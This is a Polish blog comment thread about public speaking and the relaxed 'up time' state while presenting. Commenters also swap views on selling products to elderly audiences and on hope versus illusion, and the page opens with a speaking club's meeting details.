http://kls.waw.pl/o-klubie
Spotkania klubu odbywają się w każdy wtorek o godzinie 18.18 (słownie: osiemnasta osiemnaście) w Klubie pod Gruszą na ulicy Popiełuszki 16 (Żoliborz).
Strona jest lekko nieaktualna, więc może warto zorientować się, czy spotkania dalej się odbywają. Jeśli tak, warto się wybrać:
Ela Grzegorek: tel. kom. 889 144 848
Bartłomiej Adamowicz: tel. kom. 501 870 235
Super! Jola,
Pomagamy sobie. tak właśnie rozumiem nasze wspólne działania na Tajnikach Prezentacji.
zostajesz komentatorem miesiąca 🙂
Dopiero teraz zorientowałem się że najlepiej i bezstresowo wypadają mi te prezentacje w których zupełnie nieświadomie osiągam ww stan 🙂 Trochę jak “odłączenie” kabelka łączącego świadomość z tą częścią mózgu która odpowiedzialna jest za mowę. Jednakże warunkiem koniecznym jest dobre poznanie samej prezentacji chociaż z drugiej strony czasem aby się zrelaksować mówię sobie że widzowie kompletnie nie mają pojęcia co chcę powiedzieć i nawet jeśli coś pominę to żaden to stres i wszystko gra i to jest moja metoda we wprowadzenie się w up time – nie skupiać się na linijkach tekstu i chęci powiedzenia wszystkiego – oczywiście do momentu w którym w swoim “odłączeniu” nie zacznę recytować “zdrowasiek” 🙂
Niewazne co mówię,wazne jak odbierze to mój rozmówca i czy będzie to zgodne z moim celem jaki chcę osiągnąć,czy też pracuję dla mojego rozmówcy i pomagam mu osiągnąc jego cel.Strzelajcie więc do celu,a czy stanie Up time czy w stanie nietrzezwym nie wazne wazne byscie trafili w to co chcecie.Mysle ze w stanie nietrzezwym trudniej trafić,dlatego dzis nie pije,a czy jestem trzezwy ocencie sami.
cześć Iluzjonisto!
w stanie nietrzeźwym trudniej trafić, to fakt 🙂
pozdrawiam,
trzeźwy i trafiający w klawiaturę Robert (jest 8.40 rano)
Hej,
również Cię czytam od dłuższego czasu i podobnie jak Jola w całości 😉 Ot taka upierdliwość, zawsze to miałam książka tak – z przedmową i stopką ;).
Komentuję hmmm, prawdopodobnie po raz pierwszy. Coś musiało mnie więc skłonić do wysiłku ;), fachowo: “wyjścia ze strefy komfortu” biernego czytania.
Dziś było to wyrażenie “towarzystwo wzajemnej adoracji” … w klubie Flavon nazywamy to brzydko “geriatrią” ale idzie pewnie o to samo. Jak masz na sali większość schorowanych Pań (specyfika produktu) w większości Inteligentek (tłum chadza raczej po gadżety sprzedaży bezpośredniej) – bardzo łatwo ugrzecznić język prezentacji i ….zasnąć w miłym towarzystwie przytakujących słuchaczy?
Pytanie tylko co taka prezenatcja wnosi nowego w rozwój , w edukację tak zdrowotną jak finansową ?
No właśnie, dlatego dziękuję Ci, za zwrócenie mojej uwagi na sens i cel tego co robimy.
To fantastyczne, że technika XXI wieku pozwala nam na swobodną wymianę doświadczeń w miłym towarzystwie wzajemnej adoracji ;).
Co do stanu up time …super, zaobserwowałam to w Klubie, kolega w moich oczach Mistrz Świata ;), powiedział kiedyś, że potrafi powiedzieć plan wisząc za jedną rękę na drzewie i do góry kołami ;). Tak, sądzę, że właśnie o to chodzi. Nie koncentrujemy się na tym “jak” mówimy czy “grzecznie” czy poprawnie językowo …jak prowadzenie samochodu – brnie pod górę ostatkiem tchu (widownia zaraz zaśnie) to intuicyjnie bieg, albo dwa niżej i …silnik może ryczy ale jesteśmy u celu!
Pamiętam swój pierwszy otwarty plan, do kilkunastu Osób – dobrze, że Moja Córka była asystentką ;). Błędy oczywiście były …dziś je analizuję. Mówiłam 45 minut, nie pamiętam co, skutek był taki, że wpisali się wszyscy ;). Byłam przerażona tym, że zupełnie nie pamiętam co mówiłam , trema, czarna dziura … błysk w oku Mojej 14 latki “Mamusia, dobrze mówiłaś, słyszałam i rozumiałam wszystko”. Piękne, bezcenne , za wszystko inne zapłacisz MasterCard ;)))).
Także, bądźmy ekspertami w swoich dziedzinach i mówmy w up time, to ważne. Sukces “sam” przyjdzie
pozdrawiam
Katarzyna Krzyżanowska
Katarzyno,
dziękuję za “wyjście ze strefy komfortu” i zostawienie komentarza. Naprawdę to doceniam.
pozdrawiam
Witam. Chciałabym wiedziec, gdzie i z kim rozmawia Iluzjonista. Obawiam się żeby mnie przez przypadek nie trafił. Pozdrawiam.
Witaj Anita ! Czego sie obawiasz ? Moze stzał byłby z łuku Amora ?
Obawiam się,że mogłabym byc trafiona np. w stopę… z łuku Amora. Ale to jest profesjonalna strona i nie odbiegajmy od tematu głównego, jakim są wystąpienia publiczne. Miałam na myśli to, co może mi ewentualnie sprzedac Iluzjonista. A jeżeli chodzi o schorowane starsze Panie to ja im zdecydowanie odradzam kupowania cudownych rzeczy, które mają ich uleczyc od razu ze wszystkich chorób!
Witaj Anita! Celnie strzelasz.Ja sprzedaje wiedze,ale narazie nie w internecie,tylko zeby coś sprzedać najpierw trzeba kupić.Kupiłem w życiu wiele iluzji,ale tych nie sprzedam to byłoby nieetyczne.Trzymaj sie /widze że też odradzasz kupowanie iluzji/
Witajcie,
Anita faktycznie celnie strzela i jest blisko dychy, ale dycha to nie jest!
Te profesjonalne strony są właśnie po to, aby poprzez wymianę myśli i doświadczeń strzelić BINGO …RAZEM. Tak, wszyscy Coś wiemy, ale tak się składa że na ogół jest to wiedza PRAWIE , czyli 9,5 ;).
Właśnie mam “na głowie” taką Starszą Panią …która już kupiła wszystko PRAWIE, bardzo wierzy w lekarza i aptekę i na moich oczach umiera stojąc w długiej kolejce za zabieg …który tylko przedłuży agonię.
Siedzę przed monitorem, filtruję opasłe tomiska odnośnie Zdrowia i Życia i kombinuję jak jednym kliknięciem “powiedzieć” maksymalnej liczbie Starszych Pań (nie mylić Moherom, bo Ci wiedzą już wszyyystko na szczęście nie potrafią FB obsłużyć) że mimo, że wokół sam kit i ściema …jest szansa i nadzieja, także a może zwłaszcza DLA NICH!
Iluzjom i Akwizytorom produktów “prawie” lub chwilowo/wybiórczo działającym DZIĘKUJEMY.
Natomiast Eksperci mile widziani i konsultowani 😉
pozdrawiam
Katarzyna Krzyżanowska
Wracając do starszych Pań (i Panów)- warto ich czasami posłuchac. Dychy nigdy nie trafimy, bo kazdy jest inny i jak do tej pory nie ma instrukcji obsługi człowieka. Do swojej mądrości zyciowej każdy musi dojsc sam, niestety. A co do iluzji… nigdy nie odbieram nadziei, nawet jak ktos kupi pod wpływem sprzedających cudowną kołdrę za 4 tys. której wartośc rynkowa to pewnie ok. 300 zł. Zainteresowanym polecam metodę Simontona. Pozdrawiam.
I tu jest problem iluzja jest droga, a nadzieja zawsze bedzie tania i też okaże sie złudzeniem.
Kochani (Anita, Katarzyna, Iluzjonista)
chyba udostępnię Wam, wasze adresy mailowe to popiszecie sobie na prv 🙂
pozdrawiam świątecznie!
@Iluzjonista, Moja studiująca aktualnie na 2 fakultetach Kuzynka, którą z racji wieku zawsze traktowałam jak słodkie Dziecko wypowiedziała rok temu jedno niewinne zdanie, które wryło mi się odtąd w psychę, cyt. “Nadzieja jest matką Tych, którzy potrafią daleko patrzeć …”.
Zwróćcie też uwagę na subtelną na pozór różnicę pomiędzy marzeniem a mrzonką.
Od marzeń wszystko się zaczyna, przykład pierwszy z brzegu – żarówka.
Na koniec wskazówka marzenia się spełniają, ale tylko wtedy gdy stają się celem. Od tego jak przekuć marzenia w cele są tony literatury sukcesu i …wkrótce moje kursy 😉
ps.
zawsze o tym marzyłam 😉
@Anita (chyba faktycznie nasz Gospodarz;) powinien nas adresami powymieniać) dziękuję za metodę Simontona, nie znałam jej, a jest hmmm bezcenna.
chyba juz osiągam up-time nawet o tym nie wiedząc.A co do priv to wole WYSTĄPIENIA PUBLICZNE.Na podanie adresu mailowego wyrażam zgodę dla sympatycznych pań.Pozdrowienia.
Zaczynam publiczne wystąpienia od 2, 3 ..osób .Nie testuję nikogo -chyba że tylko sama siebie ,by dalej popracować .Interesujący jest artykuł” Stan up time “Cieszę się Robercie, że wyspecjalizowałeś się w tej dziedzinie .Dobrze jest mieć coś pod ręką co nie jest wyssane z palca .
Jeśli śpiewanie jest mówieniem to tylko czasami mogę sobie pośpiewać ”
Trzeba mi wielkiej wody i tej dobrej i tej złej na……
A tak na poważnie to powiem wprost koniec ze strefą KOMFORTU !!!!